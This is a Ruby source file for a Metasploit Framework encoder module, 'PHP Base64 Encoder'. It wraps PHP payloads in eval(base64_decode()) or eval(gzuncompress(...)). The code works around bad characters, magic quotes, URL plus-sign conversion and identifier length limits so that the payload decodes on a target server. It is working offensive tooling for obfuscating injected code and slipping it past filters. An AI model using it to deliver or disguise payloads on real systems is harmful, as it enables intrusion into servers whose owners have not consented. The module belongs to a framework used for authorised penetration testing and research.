PHP Base64 Encoder

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder
  Rank = GreatRanking

  def initialize
    super(
      'Name' => 'PHP Base64 Encoder',
      'Description' => %q{
        This encoder returns a base64 string encapsulated in
        eval(base64_decode()), increasing the size by a bit more than
        one third.
      },
      'Author' => 'egypt',
      'License' => BSD_LICENSE,
      'Arch' => ARCH_PHP)
    register_options(
      [
        OptBool.new('Compress', [ true, 'Compress the payload with zlib', false ]) # Disabled by default as it relies on having php compiled with zlib, which might not be available on come exotic setups.
      ],
      self.class)
  end

  def encode_block(state, buf)
    # Have to have these for the decoder stub, so if they're not available,
    # there's nothing we can do here.
    %w[c h r ( ) . e v a l b a s e 6 4 _ d e c o d e ;].uniq.each do |c|
      raise BadcharError if state.badchars.include?(c)
    end

    if datastore['Compress']
      %w[g z u n c o m p r e s s].uniq.each do |c|
        raise BadcharError if state.badchars.include?(c)
      end
    end

    # Modern versions of PHP choke on unquoted literal strings.
    quote = "'"
    if state.badchars.include?("'")
      raise BadcharError.new, "The #{self.name} encoder failed to encode the decoder stub without bad characters." if state.badchars.include?('"')

      quote = '"'
    end

    if datastore['Compress']
      buf = Zlib::Deflate.deflate(buf)
    end

    # PHP escapes quotes by default with magic_quotes_gpc, so we use some
    # tricks to get around using them.
    #
    # The raw, unquoted base64 without the terminating equals works because
    # PHP treats it like a string.  There are, however, a couple of caveats
    # because first, PHP tries to parse the bare string as a constant.
    # Because of this, the string is limited to things that can be
    # identifiers, i.e., things that start with [a-zA-Z] and contain only
    # [a-zA-Z0-9_].  Also, for payloads that encode to more than 998
    # characters, only part of the payload gets unencoded on the victim,
    # presumably due to a limitation in PHP identifier name lengths, so we
    # break the encoded payload into roughly 900-byte chunks.
    #
    # https://wiki.php.net/rfc/deprecate-bareword-strings

    b64 = Rex::Text.encode_base64(buf)

    # The '=' or '==' used for padding at the end of the base64 encoded
    # data is unnecessary and can cause parse errors when we use it as a
    # raw string, so strip it off.
    b64.gsub!(/[=\n]+/, '')

    # Similarly, when we separate large payloads into chunks to avoid the
    # 998-byte problem mentioned above, we have to make sure that the first
    # character of each chunk is an alpha character.  This simple algorithm
    # will create a broken string in the case of 99 consecutive digits,
    # slashes, and plusses in the base64 encoding, but the likelihood of
    # that is low enough that I don't care.
    i = 900
    while i < b64.length
      i += 1 while (b64[i].chr =~ %r{[0-9/+]})
      b64.insert(i, '.')
      i += 900
    end

    # Plus characters ('+') in a uri are converted to spaces, so replace
    # them with something that PHP will turn into a plus.  Slashes cause
    # parse errors on the server side, so do the same for them.
    b64.gsub!('+', "#{quote}.chr(43).#{quote}")
    b64.gsub!('/', "#{quote}.chr(47).#{quote}")

    state.badchars.each_byte do |byte|
      # Last ditch effort, if any of the normal characters used by base64
      # are badchars, try to replace them with something that will become
      # the appropriate thing on the other side.
      if b64.include?(byte.chr)
        b64.gsub!(byte.chr, "#{quote}.chr(#{byte}).#{quote}")
      end
    end

    # In the case where a plus or slash happened at the end of a chunk,
    # we'll have two dots next to each other, so fix it up.  Note that this
    # is searching for literal dots, not a regex matching any two
    # characters
    b64.gsub!('..', '.')

    # Some of the shenanigans above could have appended a dot, which will
    # cause a syntax error.  Remove any trailing dots.
    b64.chomp!('.')

    if datastore['Compress']
      return 'eval(gzuncompress(base64_decode(' + quote + b64 + quote + ')));'
    else
      return 'eval(base64_decode(' + quote + b64 + quote + '));'
    end
  end
end